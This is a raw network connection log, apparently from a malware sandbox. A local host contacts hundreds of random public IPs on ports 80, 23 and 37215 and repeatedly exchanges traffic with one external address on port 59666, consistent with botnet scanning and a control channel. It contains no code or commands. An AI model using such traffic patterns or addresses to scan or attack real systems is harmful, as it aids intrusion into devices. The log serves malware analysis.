Jan 5, 2025 14:26:52.660561085 CET	23	35744	69.177.181.104	192.168.2.13
Jan 5, 2025 14:26:52.660578012 CET	23	59226	221.142.162.162	192.168.2.13
Jan 5, 2025 14:26:52.660589933 CET	23	36260	74.224.41.203	192.168.2.13
Jan 5, 2025 14:26:52.660613060 CET	35744	23	192.168.2.13	69.177.181.104
Jan 5, 2025 14:26:52.660615921 CET	59226	23	192.168.2.13	221.142.162.162
Jan 5, 2025 14:26:52.660634995 CET	36260	23	192.168.2.13	74.224.41.203
Jan 5, 2025 14:26:53.117822886 CET	51416	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:53.122728109 CET	59666	51416	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:53.122772932 CET	51416	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:53.122803926 CET	51416	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:53.127666950 CET	59666	51416	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:53.127723932 CET	51416	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:53.132591009 CET	59666	51416	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:53.631387949 CET	56958	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:53.631387949 CET	56958	80	192.168.2.13	97.22.217.119
Jan 5, 2025 14:26:53.631388903 CET	56958	80	192.168.2.13	174.92.211.105
Jan 5, 2025 14:26:53.631388903 CET	56958	80	192.168.2.13	44.59.3.80
Jan 5, 2025 14:26:53.631388903 CET	56958	80	192.168.2.13	132.186.207.59
Jan 5, 2025 14:26:53.631388903 CET	56958	80	192.168.2.13	159.196.207.39
Jan 5, 2025 14:26:53.631388903 CET	56958	80	192.168.2.13	25.213.217.67
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	103.86.3.245
Jan 5, 2025 14:26:53.631397963 CET	56958	80	192.168.2.13	32.230.67.75
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	129.158.234.92
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	194.70.139.54
Jan 5, 2025 14:26:53.631397963 CET	56958	80	192.168.2.13	200.133.13.167
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	144.42.87.129
Jan 5, 2025 14:26:53.631397963 CET	56958	80	192.168.2.13	1.244.139.105
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	107.156.206.131
Jan 5, 2025 14:26:53.631397963 CET	56958	80	192.168.2.13	168.206.81.184
Jan 5, 2025 14:26:53.631397963 CET	56958	80	192.168.2.13	153.35.202.79
Jan 5, 2025 14:26:53.631397963 CET	56958	80	192.168.2.13	90.34.164.154
Jan 5, 2025 14:26:53.631402016 CET	56958	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:53.631402016 CET	56958	80	192.168.2.13	217.9.42.229
Jan 5, 2025 14:26:53.631402016 CET	56958	80	192.168.2.13	121.78.124.211
Jan 5, 2025 14:26:53.631402016 CET	56958	80	192.168.2.13	207.255.36.88
Jan 5, 2025 14:26:53.631402016 CET	56958	80	192.168.2.13	117.177.168.99
Jan 5, 2025 14:26:53.631402016 CET	56958	80	192.168.2.13	47.248.87.162
Jan 5, 2025 14:26:53.631402016 CET	56958	80	192.168.2.13	140.6.135.109
Jan 5, 2025 14:26:53.631402016 CET	56958	80	192.168.2.13	221.124.53.8
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	74.100.9.3
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	120.174.76.147
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	43.50.1.171
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	162.9.146.128
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	4.170.217.133
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	98.161.96.215
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	176.96.253.149
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	176.222.222.58
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	113.159.145.106
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	164.96.50.138
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	108.37.183.143
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	198.217.110.104
Jan 5, 2025 14:26:53.631400108 CET	56958	80	192.168.2.13	68.179.119.142
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	23.53.22.11
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	85.107.32.131
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	41.122.180.203
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	62.136.35.107
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	182.179.229.36
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	131.41.241.155
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	126.164.92.163
Jan 5, 2025 14:26:53.631401062 CET	56958	80	192.168.2.13	192.244.49.80
Jan 5, 2025 14:26:53.631467104 CET	56958	80	192.168.2.13	185.109.216.10
Jan 5, 2025 14:26:53.631467104 CET	56958	80	192.168.2.13	70.170.141.169
Jan 5, 2025 14:26:53.631467104 CET	56958	80	192.168.2.13	175.138.211.65
Jan 5, 2025 14:26:53.631467104 CET	56958	80	192.168.2.13	220.2.179.250
Jan 5, 2025 14:26:53.631467104 CET	56958	80	192.168.2.13	43.188.126.123
Jan 5, 2025 14:26:53.631467104 CET	56958	80	192.168.2.13	47.214.179.76
Jan 5, 2025 14:26:53.631467104 CET	56958	80	192.168.2.13	222.189.243.39
Jan 5, 2025 14:26:53.631470919 CET	56958	80	192.168.2.13	9.248.137.237
Jan 5, 2025 14:26:53.631470919 CET	56958	80	192.168.2.13	39.153.86.8
Jan 5, 2025 14:26:53.631470919 CET	56958	80	192.168.2.13	213.204.244.108
Jan 5, 2025 14:26:53.631470919 CET	56958	80	192.168.2.13	83.122.59.236
Jan 5, 2025 14:26:53.631470919 CET	56958	80	192.168.2.13	168.186.120.171
Jan 5, 2025 14:26:53.631470919 CET	56958	80	192.168.2.13	172.62.123.93
Jan 5, 2025 14:26:53.631470919 CET	56958	80	192.168.2.13	18.235.10.26
Jan 5, 2025 14:26:53.631470919 CET	56958	80	192.168.2.13	86.78.207.41
Jan 5, 2025 14:26:53.631509066 CET	56958	80	192.168.2.13	213.35.130.108
Jan 5, 2025 14:26:53.631509066 CET	56958	80	192.168.2.13	5.240.107.112
Jan 5, 2025 14:26:53.631509066 CET	56958	80	192.168.2.13	170.84.61.11
Jan 5, 2025 14:26:53.631509066 CET	56958	80	192.168.2.13	73.73.85.60
Jan 5, 2025 14:26:53.631509066 CET	56958	80	192.168.2.13	130.201.16.9
Jan 5, 2025 14:26:53.631509066 CET	56958	80	192.168.2.13	132.148.206.39
Jan 5, 2025 14:26:53.631509066 CET	56958	80	192.168.2.13	92.128.57.47
Jan 5, 2025 14:26:53.631509066 CET	56958	80	192.168.2.13	153.224.111.26
Jan 5, 2025 14:26:53.631510973 CET	56958	80	192.168.2.13	12.69.37.219
Jan 5, 2025 14:26:53.631510973 CET	56958	80	192.168.2.13	95.238.195.12
Jan 5, 2025 14:26:53.631510973 CET	56958	80	192.168.2.13	193.171.152.57
Jan 5, 2025 14:26:53.631511927 CET	56958	80	192.168.2.13	126.157.187.235
Jan 5, 2025 14:26:53.631511927 CET	56958	80	192.168.2.13	64.91.25.212
Jan 5, 2025 14:26:53.631511927 CET	56958	80	192.168.2.13	50.66.56.213
Jan 5, 2025 14:26:53.631511927 CET	56958	80	192.168.2.13	101.53.250.76
Jan 5, 2025 14:26:53.631511927 CET	56958	80	192.168.2.13	90.219.134.167
Jan 5, 2025 14:26:53.631514072 CET	56958	80	192.168.2.13	208.31.194.136
Jan 5, 2025 14:26:53.631514072 CET	56958	80	192.168.2.13	148.191.125.133
Jan 5, 2025 14:26:53.631514072 CET	56958	80	192.168.2.13	35.64.69.62
Jan 5, 2025 14:26:53.631514072 CET	56958	80	192.168.2.13	70.175.241.17
Jan 5, 2025 14:26:53.631515026 CET	56958	80	192.168.2.13	98.202.158.137
Jan 5, 2025 14:26:53.631515026 CET	56958	80	192.168.2.13	93.78.25.220
Jan 5, 2025 14:26:53.631515026 CET	56958	80	192.168.2.13	169.177.216.77
Jan 5, 2025 14:26:53.631515026 CET	56958	80	192.168.2.13	203.57.112.31
Jan 5, 2025 14:26:53.631537914 CET	56958	80	192.168.2.13	57.178.24.154
Jan 5, 2025 14:26:53.631539106 CET	56958	80	192.168.2.13	188.51.143.156
Jan 5, 2025 14:26:53.631539106 CET	56958	80	192.168.2.13	188.172.100.78
Jan 5, 2025 14:26:53.631539106 CET	56958	80	192.168.2.13	31.192.238.25
Jan 5, 2025 14:26:53.631539106 CET	56958	80	192.168.2.13	179.122.26.72
Jan 5, 2025 14:26:53.631539106 CET	56958	80	192.168.2.13	121.106.199.139
Jan 5, 2025 14:26:53.631539106 CET	56958	80	192.168.2.13	95.147.60.89
Jan 5, 2025 14:26:53.631539106 CET	56958	80	192.168.2.13	103.59.158.247
Jan 5, 2025 14:26:53.631551981 CET	56958	80	192.168.2.13	52.80.168.177
Jan 5, 2025 14:26:53.631551981 CET	56958	80	192.168.2.13	189.84.15.204
Jan 5, 2025 14:26:53.631551981 CET	56958	80	192.168.2.13	208.125.100.185
Jan 5, 2025 14:26:53.631551981 CET	56958	80	192.168.2.13	140.212.227.101
Jan 5, 2025 14:26:53.631551981 CET	56958	80	192.168.2.13	163.203.208.201
Jan 5, 2025 14:26:53.631551981 CET	56958	80	192.168.2.13	74.49.144.140
Jan 5, 2025 14:26:53.631551981 CET	56958	80	192.168.2.13	38.249.230.233
Jan 5, 2025 14:26:53.631551981 CET	56958	80	192.168.2.13	167.171.75.161
Jan 5, 2025 14:26:53.631563902 CET	56958	80	192.168.2.13	207.3.232.47
Jan 5, 2025 14:26:53.631563902 CET	56958	80	192.168.2.13	117.33.197.47
Jan 5, 2025 14:26:53.631563902 CET	56958	80	192.168.2.13	5.182.96.189
Jan 5, 2025 14:26:53.631563902 CET	56958	80	192.168.2.13	134.39.237.81
Jan 5, 2025 14:26:53.631563902 CET	56958	80	192.168.2.13	49.24.180.68
Jan 5, 2025 14:26:53.631563902 CET	56958	80	192.168.2.13	87.172.194.95
Jan 5, 2025 14:26:53.631563902 CET	56958	80	192.168.2.13	61.33.104.172
Jan 5, 2025 14:26:53.631563902 CET	56958	80	192.168.2.13	20.34.202.234
Jan 5, 2025 14:26:53.631577969 CET	56958	80	192.168.2.13	208.228.144.102
Jan 5, 2025 14:26:53.631577969 CET	56958	80	192.168.2.13	160.250.249.198
Jan 5, 2025 14:26:53.631577969 CET	56958	80	192.168.2.13	199.110.41.129
Jan 5, 2025 14:26:53.631594896 CET	56958	80	192.168.2.13	68.94.170.246
Jan 5, 2025 14:26:53.631594896 CET	56958	80	192.168.2.13	74.219.112.32
Jan 5, 2025 14:26:53.631594896 CET	56958	80	192.168.2.13	148.75.62.36
Jan 5, 2025 14:26:53.631594896 CET	56958	80	192.168.2.13	93.35.34.66
Jan 5, 2025 14:26:53.631594896 CET	56958	80	192.168.2.13	152.95.162.80
Jan 5, 2025 14:26:53.631594896 CET	56958	80	192.168.2.13	14.37.153.210
Jan 5, 2025 14:26:53.631594896 CET	56958	80	192.168.2.13	207.2.106.249
Jan 5, 2025 14:26:53.631594896 CET	56958	80	192.168.2.13	151.96.45.217
Jan 5, 2025 14:26:53.631599903 CET	56958	80	192.168.2.13	196.134.92.78
Jan 5, 2025 14:26:53.631599903 CET	56958	80	192.168.2.13	183.140.22.98
Jan 5, 2025 14:26:53.631599903 CET	56958	80	192.168.2.13	126.150.117.30
Jan 5, 2025 14:26:53.631599903 CET	56958	80	192.168.2.13	212.17.160.198
Jan 5, 2025 14:26:53.631599903 CET	56958	80	192.168.2.13	87.72.149.235
Jan 5, 2025 14:26:53.631599903 CET	56958	80	192.168.2.13	188.55.250.154
Jan 5, 2025 14:26:53.631599903 CET	56958	80	192.168.2.13	47.142.153.30
Jan 5, 2025 14:26:53.631599903 CET	56958	80	192.168.2.13	191.76.246.140
Jan 5, 2025 14:26:53.631604910 CET	56958	80	192.168.2.13	94.250.249.123
Jan 5, 2025 14:26:53.631604910 CET	56958	80	192.168.2.13	44.34.32.197
Jan 5, 2025 14:26:53.631604910 CET	56958	80	192.168.2.13	182.85.141.106
Jan 5, 2025 14:26:53.631606102 CET	56958	80	192.168.2.13	52.239.3.182
Jan 5, 2025 14:26:53.631604910 CET	56958	80	192.168.2.13	182.239.9.155
Jan 5, 2025 14:26:53.631607056 CET	56958	80	192.168.2.13	157.126.117.196
Jan 5, 2025 14:26:53.631611109 CET	56958	80	192.168.2.13	76.158.202.127
Jan 5, 2025 14:26:53.631604910 CET	56958	80	192.168.2.13	206.229.43.157
Jan 5, 2025 14:26:53.631607056 CET	56958	80	192.168.2.13	152.27.166.132
Jan 5, 2025 14:26:53.631606102 CET	56958	80	192.168.2.13	123.139.199.31
Jan 5, 2025 14:26:53.631609917 CET	56958	80	192.168.2.13	203.151.167.9
Jan 5, 2025 14:26:53.631606102 CET	56958	80	192.168.2.13	92.132.218.106
Jan 5, 2025 14:26:53.631611109 CET	56958	80	192.168.2.13	51.197.65.8
Jan 5, 2025 14:26:53.631609917 CET	56958	80	192.168.2.13	72.189.187.106
Jan 5, 2025 14:26:53.631608009 CET	56958	80	192.168.2.13	85.111.34.155
Jan 5, 2025 14:26:53.631606102 CET	56958	80	192.168.2.13	222.0.128.128
Jan 5, 2025 14:26:53.631609917 CET	56958	80	192.168.2.13	176.43.182.98
Jan 5, 2025 14:26:53.631608009 CET	56958	80	192.168.2.13	198.69.77.180
Jan 5, 2025 14:26:53.631609917 CET	56958	80	192.168.2.13	181.104.242.30
Jan 5, 2025 14:26:53.631616116 CET	56958	80	192.168.2.13	129.147.214.43
Jan 5, 2025 14:26:53.631609917 CET	56958	80	192.168.2.13	49.250.73.111
Jan 5, 2025 14:26:53.631606102 CET	56958	80	192.168.2.13	13.21.218.99
Jan 5, 2025 14:26:53.631609917 CET	56958	80	192.168.2.13	173.39.78.162
Jan 5, 2025 14:26:53.631606102 CET	56958	80	192.168.2.13	48.113.83.202
Jan 5, 2025 14:26:53.631616116 CET	56958	80	192.168.2.13	174.87.101.91
Jan 5, 2025 14:26:53.631608009 CET	56958	80	192.168.2.13	101.228.61.40
Jan 5, 2025 14:26:53.631606102 CET	56958	80	192.168.2.13	157.111.84.146
Jan 5, 2025 14:26:53.631609917 CET	56958	80	192.168.2.13	174.129.159.6
Jan 5, 2025 14:26:53.631608009 CET	56958	80	192.168.2.13	187.135.147.80
Jan 5, 2025 14:26:53.631609917 CET	56958	80	192.168.2.13	102.182.203.194
Jan 5, 2025 14:26:53.631627083 CET	56958	80	192.168.2.13	219.171.194.204
Jan 5, 2025 14:26:53.631606102 CET	56958	80	192.168.2.13	102.2.16.98
Jan 5, 2025 14:26:53.631627083 CET	56958	80	192.168.2.13	120.146.40.50
Jan 5, 2025 14:26:53.631616116 CET	56958	80	192.168.2.13	200.210.199.221
Jan 5, 2025 14:26:53.631627083 CET	56958	80	192.168.2.13	13.229.52.48
Jan 5, 2025 14:26:53.631616116 CET	56958	80	192.168.2.13	120.241.216.237
Jan 5, 2025 14:26:53.631608009 CET	56958	80	192.168.2.13	204.56.93.28
Jan 5, 2025 14:26:53.631616116 CET	56958	80	192.168.2.13	57.14.158.58
Jan 5, 2025 14:26:53.631608009 CET	56958	80	192.168.2.13	108.49.121.15
Jan 5, 2025 14:26:53.631627083 CET	56958	80	192.168.2.13	166.78.183.185
Jan 5, 2025 14:26:53.631616116 CET	56958	80	192.168.2.13	103.65.3.193
Jan 5, 2025 14:26:53.631627083 CET	56958	80	192.168.2.13	205.165.209.69
Jan 5, 2025 14:26:53.631616116 CET	56958	80	192.168.2.13	190.126.60.69
Jan 5, 2025 14:26:53.631627083 CET	56958	80	192.168.2.13	116.70.208.57
Jan 5, 2025 14:26:53.631616116 CET	56958	80	192.168.2.13	142.114.34.232
Jan 5, 2025 14:26:53.631627083 CET	56958	80	192.168.2.13	25.135.177.124
Jan 5, 2025 14:26:53.631627083 CET	56958	80	192.168.2.13	86.185.203.215
Jan 5, 2025 14:26:53.631640911 CET	56958	80	192.168.2.13	176.30.147.129
Jan 5, 2025 14:26:53.631643057 CET	56958	80	192.168.2.13	179.253.147.110
Jan 5, 2025 14:26:53.631645918 CET	56958	80	192.168.2.13	177.246.8.193
Jan 5, 2025 14:26:53.631648064 CET	56958	80	192.168.2.13	59.227.229.158
Jan 5, 2025 14:26:53.631649017 CET	56958	80	192.168.2.13	147.166.114.154
Jan 5, 2025 14:26:53.631648064 CET	56958	80	192.168.2.13	191.133.160.45
Jan 5, 2025 14:26:53.631649017 CET	56958	80	192.168.2.13	43.65.172.90
Jan 5, 2025 14:26:53.631649017 CET	56958	80	192.168.2.13	123.59.149.147
Jan 5, 2025 14:26:53.631649017 CET	56958	80	192.168.2.13	108.126.103.201
Jan 5, 2025 14:26:53.631649017 CET	56958	80	192.168.2.13	78.63.133.32
Jan 5, 2025 14:26:53.631652117 CET	56958	80	192.168.2.13	36.210.24.211
Jan 5, 2025 14:26:53.631652117 CET	56958	80	192.168.2.13	147.181.51.126
Jan 5, 2025 14:26:53.631654978 CET	56958	80	192.168.2.13	156.20.171.19
Jan 5, 2025 14:26:53.631654978 CET	56958	80	192.168.2.13	164.255.156.233
Jan 5, 2025 14:26:53.631654978 CET	56958	80	192.168.2.13	89.152.221.189
Jan 5, 2025 14:26:53.631654978 CET	56958	80	192.168.2.13	59.212.12.13
Jan 5, 2025 14:26:53.631654978 CET	56958	80	192.168.2.13	207.72.219.86
Jan 5, 2025 14:26:53.631654978 CET	56958	80	192.168.2.13	77.26.149.167
Jan 5, 2025 14:26:53.631654978 CET	56958	80	192.168.2.13	207.58.87.107
Jan 5, 2025 14:26:53.631675005 CET	56958	80	192.168.2.13	53.98.28.236
Jan 5, 2025 14:26:53.631678104 CET	56958	80	192.168.2.13	152.61.2.11
Jan 5, 2025 14:26:53.631680012 CET	56958	80	192.168.2.13	145.212.202.180
Jan 5, 2025 14:26:53.631681919 CET	56958	80	192.168.2.13	74.3.56.199
Jan 5, 2025 14:26:53.631697893 CET	56958	80	192.168.2.13	13.53.133.157
Jan 5, 2025 14:26:53.631700039 CET	56958	80	192.168.2.13	171.95.123.153
Jan 5, 2025 14:26:53.631702900 CET	56958	80	192.168.2.13	162.237.41.35
Jan 5, 2025 14:26:53.631722927 CET	56958	80	192.168.2.13	121.33.54.15
Jan 5, 2025 14:26:53.631722927 CET	56958	80	192.168.2.13	84.187.173.161
Jan 5, 2025 14:26:53.631725073 CET	56958	80	192.168.2.13	199.75.140.105
Jan 5, 2025 14:26:53.631725073 CET	56958	80	192.168.2.13	221.75.66.250
Jan 5, 2025 14:26:53.631726980 CET	56958	80	192.168.2.13	69.107.249.230
Jan 5, 2025 14:26:53.631733894 CET	56958	80	192.168.2.13	139.93.235.179
Jan 5, 2025 14:26:53.631735086 CET	56958	80	192.168.2.13	92.76.10.98
Jan 5, 2025 14:26:53.631740093 CET	56958	80	192.168.2.13	89.173.65.9
Jan 5, 2025 14:26:53.631742001 CET	56958	80	192.168.2.13	18.166.25.62
Jan 5, 2025 14:26:53.631756067 CET	56958	80	192.168.2.13	102.35.213.163
Jan 5, 2025 14:26:53.631767035 CET	56958	80	192.168.2.13	175.0.223.45
Jan 5, 2025 14:26:53.631767035 CET	56958	80	192.168.2.13	116.126.147.134
Jan 5, 2025 14:26:53.631769896 CET	56958	80	192.168.2.13	83.236.203.221
Jan 5, 2025 14:26:53.631779909 CET	56958	80	192.168.2.13	111.131.173.118
Jan 5, 2025 14:26:53.631783009 CET	56958	80	192.168.2.13	174.0.183.170
Jan 5, 2025 14:26:53.631783009 CET	56958	80	192.168.2.13	175.95.99.222
Jan 5, 2025 14:26:53.631783962 CET	56958	80	192.168.2.13	27.146.112.46
Jan 5, 2025 14:26:53.631787062 CET	56958	80	192.168.2.13	176.25.30.58
Jan 5, 2025 14:26:53.631791115 CET	56958	80	192.168.2.13	212.196.146.66
Jan 5, 2025 14:26:53.631800890 CET	56958	80	192.168.2.13	94.17.235.83
Jan 5, 2025 14:26:53.631803036 CET	56958	80	192.168.2.13	158.3.228.172
Jan 5, 2025 14:26:53.631808996 CET	56958	80	192.168.2.13	31.50.53.172
Jan 5, 2025 14:26:53.631822109 CET	56958	80	192.168.2.13	167.123.122.126
Jan 5, 2025 14:26:53.631824017 CET	56958	80	192.168.2.13	129.140.237.33
Jan 5, 2025 14:26:53.631835938 CET	56958	80	192.168.2.13	150.73.36.70
Jan 5, 2025 14:26:53.631843090 CET	56958	80	192.168.2.13	181.3.151.241
Jan 5, 2025 14:26:53.631843090 CET	56958	80	192.168.2.13	27.3.119.132
Jan 5, 2025 14:26:53.631856918 CET	56958	80	192.168.2.13	194.158.7.67
Jan 5, 2025 14:26:53.631866932 CET	56958	80	192.168.2.13	25.27.1.132
Jan 5, 2025 14:26:53.631866932 CET	56958	80	192.168.2.13	96.211.30.163
Jan 5, 2025 14:26:53.631866932 CET	56958	80	192.168.2.13	135.5.204.226
Jan 5, 2025 14:26:53.631866932 CET	56958	80	192.168.2.13	208.29.170.253
Jan 5, 2025 14:26:53.631869078 CET	56958	80	192.168.2.13	144.126.25.150
Jan 5, 2025 14:26:53.631875038 CET	56958	80	192.168.2.13	46.108.135.95
Jan 5, 2025 14:26:53.631877899 CET	56958	80	192.168.2.13	35.199.4.97
Jan 5, 2025 14:26:53.631877899 CET	56958	80	192.168.2.13	84.188.77.130
Jan 5, 2025 14:26:53.631880999 CET	56958	80	192.168.2.13	62.35.129.36
Jan 5, 2025 14:26:53.631881952 CET	56958	80	192.168.2.13	216.209.36.198
Jan 5, 2025 14:26:53.631877899 CET	56958	80	192.168.2.13	37.129.66.85
Jan 5, 2025 14:26:53.631881952 CET	56958	80	192.168.2.13	194.135.34.44
Jan 5, 2025 14:26:53.631881952 CET	56958	80	192.168.2.13	148.252.131.154
Jan 5, 2025 14:26:53.631885052 CET	56958	80	192.168.2.13	209.172.161.144
Jan 5, 2025 14:26:53.631906033 CET	56958	80	192.168.2.13	99.244.97.140
Jan 5, 2025 14:26:53.631906033 CET	56958	80	192.168.2.13	154.26.184.154
Jan 5, 2025 14:26:53.631910086 CET	56958	80	192.168.2.13	100.215.25.14
Jan 5, 2025 14:26:53.631922960 CET	56958	80	192.168.2.13	176.146.35.206
Jan 5, 2025 14:26:53.631923914 CET	56958	80	192.168.2.13	193.60.17.68
Jan 5, 2025 14:26:53.631937981 CET	56958	80	192.168.2.13	120.137.214.33
Jan 5, 2025 14:26:53.631939888 CET	56958	80	192.168.2.13	161.197.196.243
Jan 5, 2025 14:26:53.631946087 CET	56958	80	192.168.2.13	95.247.129.31
Jan 5, 2025 14:26:53.631949902 CET	56958	80	192.168.2.13	43.77.103.248
Jan 5, 2025 14:26:53.631951094 CET	56958	80	192.168.2.13	140.131.22.232
Jan 5, 2025 14:26:53.631951094 CET	56958	80	192.168.2.13	108.121.134.204
Jan 5, 2025 14:26:53.631968021 CET	56958	80	192.168.2.13	151.145.1.19
Jan 5, 2025 14:26:53.631968021 CET	56958	80	192.168.2.13	83.0.41.90
Jan 5, 2025 14:26:53.631968021 CET	56958	80	192.168.2.13	161.162.185.55
Jan 5, 2025 14:26:53.631973028 CET	56958	80	192.168.2.13	153.33.150.149
Jan 5, 2025 14:26:53.631983995 CET	56958	80	192.168.2.13	83.201.131.31
Jan 5, 2025 14:26:53.631983995 CET	56958	80	192.168.2.13	86.165.124.192
Jan 5, 2025 14:26:53.631990910 CET	56958	80	192.168.2.13	199.1.208.120
Jan 5, 2025 14:26:53.631994009 CET	56958	80	192.168.2.13	166.108.31.63
Jan 5, 2025 14:26:53.631999016 CET	56958	80	192.168.2.13	183.199.67.224
Jan 5, 2025 14:26:53.632008076 CET	56958	80	192.168.2.13	159.155.117.99
Jan 5, 2025 14:26:53.632011890 CET	56958	80	192.168.2.13	48.232.187.172
Jan 5, 2025 14:26:53.632015944 CET	56958	80	192.168.2.13	86.243.160.153
Jan 5, 2025 14:26:53.632033110 CET	56958	80	192.168.2.13	31.77.130.103
Jan 5, 2025 14:26:53.632040024 CET	56958	80	192.168.2.13	60.198.28.158
Jan 5, 2025 14:26:53.632051945 CET	56958	80	192.168.2.13	188.130.168.100
Jan 5, 2025 14:26:53.632056952 CET	56958	80	192.168.2.13	5.166.234.86
Jan 5, 2025 14:26:53.632065058 CET	56958	80	192.168.2.13	78.82.89.179
Jan 5, 2025 14:26:53.632071018 CET	56958	80	192.168.2.13	204.61.40.247
Jan 5, 2025 14:26:53.632072926 CET	56958	80	192.168.2.13	72.27.32.33
Jan 5, 2025 14:26:53.632090092 CET	56958	80	192.168.2.13	138.19.143.186
Jan 5, 2025 14:26:53.632090092 CET	56958	80	192.168.2.13	86.14.29.241
Jan 5, 2025 14:26:53.632097960 CET	56958	80	192.168.2.13	31.213.9.70
Jan 5, 2025 14:26:53.632102966 CET	56958	80	192.168.2.13	81.255.252.233
Jan 5, 2025 14:26:53.632122993 CET	56958	80	192.168.2.13	223.125.5.116
Jan 5, 2025 14:26:53.632123947 CET	56958	80	192.168.2.13	129.60.49.60
Jan 5, 2025 14:26:53.632124901 CET	56958	80	192.168.2.13	199.29.189.48
Jan 5, 2025 14:26:53.632128000 CET	56958	80	192.168.2.13	166.162.11.125
Jan 5, 2025 14:26:53.632128000 CET	56958	80	192.168.2.13	25.150.194.241
Jan 5, 2025 14:26:53.632131100 CET	56958	80	192.168.2.13	115.198.81.207
Jan 5, 2025 14:26:53.632131100 CET	56958	80	192.168.2.13	23.221.149.30
Jan 5, 2025 14:26:53.632152081 CET	56958	80	192.168.2.13	14.147.238.129
Jan 5, 2025 14:26:53.632153988 CET	56958	80	192.168.2.13	27.9.223.140
Jan 5, 2025 14:26:53.632160902 CET	56958	80	192.168.2.13	116.85.248.8
Jan 5, 2025 14:26:53.632163048 CET	56958	80	192.168.2.13	154.237.18.208
Jan 5, 2025 14:26:53.632170916 CET	56958	80	192.168.2.13	153.32.24.225
Jan 5, 2025 14:26:53.632172108 CET	56958	80	192.168.2.13	90.156.223.143
Jan 5, 2025 14:26:53.632184982 CET	56958	80	192.168.2.13	208.68.208.2
Jan 5, 2025 14:26:53.632186890 CET	56958	80	192.168.2.13	139.68.63.5
Jan 5, 2025 14:26:53.632199049 CET	56958	80	192.168.2.13	110.113.17.61
Jan 5, 2025 14:26:53.632206917 CET	56958	80	192.168.2.13	161.58.122.33
Jan 5, 2025 14:26:53.632208109 CET	56958	80	192.168.2.13	165.100.96.243
Jan 5, 2025 14:26:53.632214069 CET	56958	80	192.168.2.13	41.189.172.243
Jan 5, 2025 14:26:53.632224083 CET	56958	80	192.168.2.13	59.77.171.254
Jan 5, 2025 14:26:53.632227898 CET	56958	80	192.168.2.13	148.147.164.192
Jan 5, 2025 14:26:53.632242918 CET	56958	80	192.168.2.13	42.244.193.35
Jan 5, 2025 14:26:53.632256985 CET	56958	80	192.168.2.13	43.92.158.85
Jan 5, 2025 14:26:53.632257938 CET	56958	80	192.168.2.13	138.12.56.81
Jan 5, 2025 14:26:53.632263899 CET	56958	80	192.168.2.13	71.134.107.71
Jan 5, 2025 14:26:53.632267952 CET	56958	80	192.168.2.13	118.174.171.217
Jan 5, 2025 14:26:53.632281065 CET	56958	80	192.168.2.13	98.9.16.166
Jan 5, 2025 14:26:53.632285118 CET	56958	80	192.168.2.13	218.73.76.102
Jan 5, 2025 14:26:53.632285118 CET	56958	80	192.168.2.13	185.33.184.170
Jan 5, 2025 14:26:53.632301092 CET	56958	80	192.168.2.13	67.20.68.73
Jan 5, 2025 14:26:53.632311106 CET	56958	80	192.168.2.13	128.129.166.133
Jan 5, 2025 14:26:53.632319927 CET	56958	80	192.168.2.13	194.193.33.28
Jan 5, 2025 14:26:53.632320881 CET	56958	80	192.168.2.13	168.191.76.44
Jan 5, 2025 14:26:53.632323027 CET	56958	80	192.168.2.13	52.212.188.27
Jan 5, 2025 14:26:53.632334948 CET	56958	80	192.168.2.13	213.161.188.82
Jan 5, 2025 14:26:53.632339001 CET	56958	80	192.168.2.13	152.163.26.4
Jan 5, 2025 14:26:53.632353067 CET	56958	80	192.168.2.13	220.127.145.245
Jan 5, 2025 14:26:53.632354021 CET	56958	80	192.168.2.13	108.87.106.11
Jan 5, 2025 14:26:53.632354021 CET	56958	80	192.168.2.13	114.112.220.97
Jan 5, 2025 14:26:53.632354975 CET	56958	80	192.168.2.13	105.43.33.251
Jan 5, 2025 14:26:53.632369995 CET	56958	80	192.168.2.13	153.13.90.20
Jan 5, 2025 14:26:53.632370949 CET	56958	80	192.168.2.13	132.138.92.10
Jan 5, 2025 14:26:53.632905006 CET	56446	37215	192.168.2.13	156.175.90.90
Jan 5, 2025 14:26:53.632904053 CET	56446	37215	192.168.2.13	197.28.200.33
Jan 5, 2025 14:26:53.632906914 CET	56446	37215	192.168.2.13	156.129.28.55
Jan 5, 2025 14:26:53.632914066 CET	56446	37215	192.168.2.13	197.15.168.220
Jan 5, 2025 14:26:53.632915020 CET	56446	37215	192.168.2.13	197.18.30.45
Jan 5, 2025 14:26:53.632915974 CET	56446	37215	192.168.2.13	156.122.21.55
Jan 5, 2025 14:26:53.632916927 CET	56446	37215	192.168.2.13	41.18.169.22
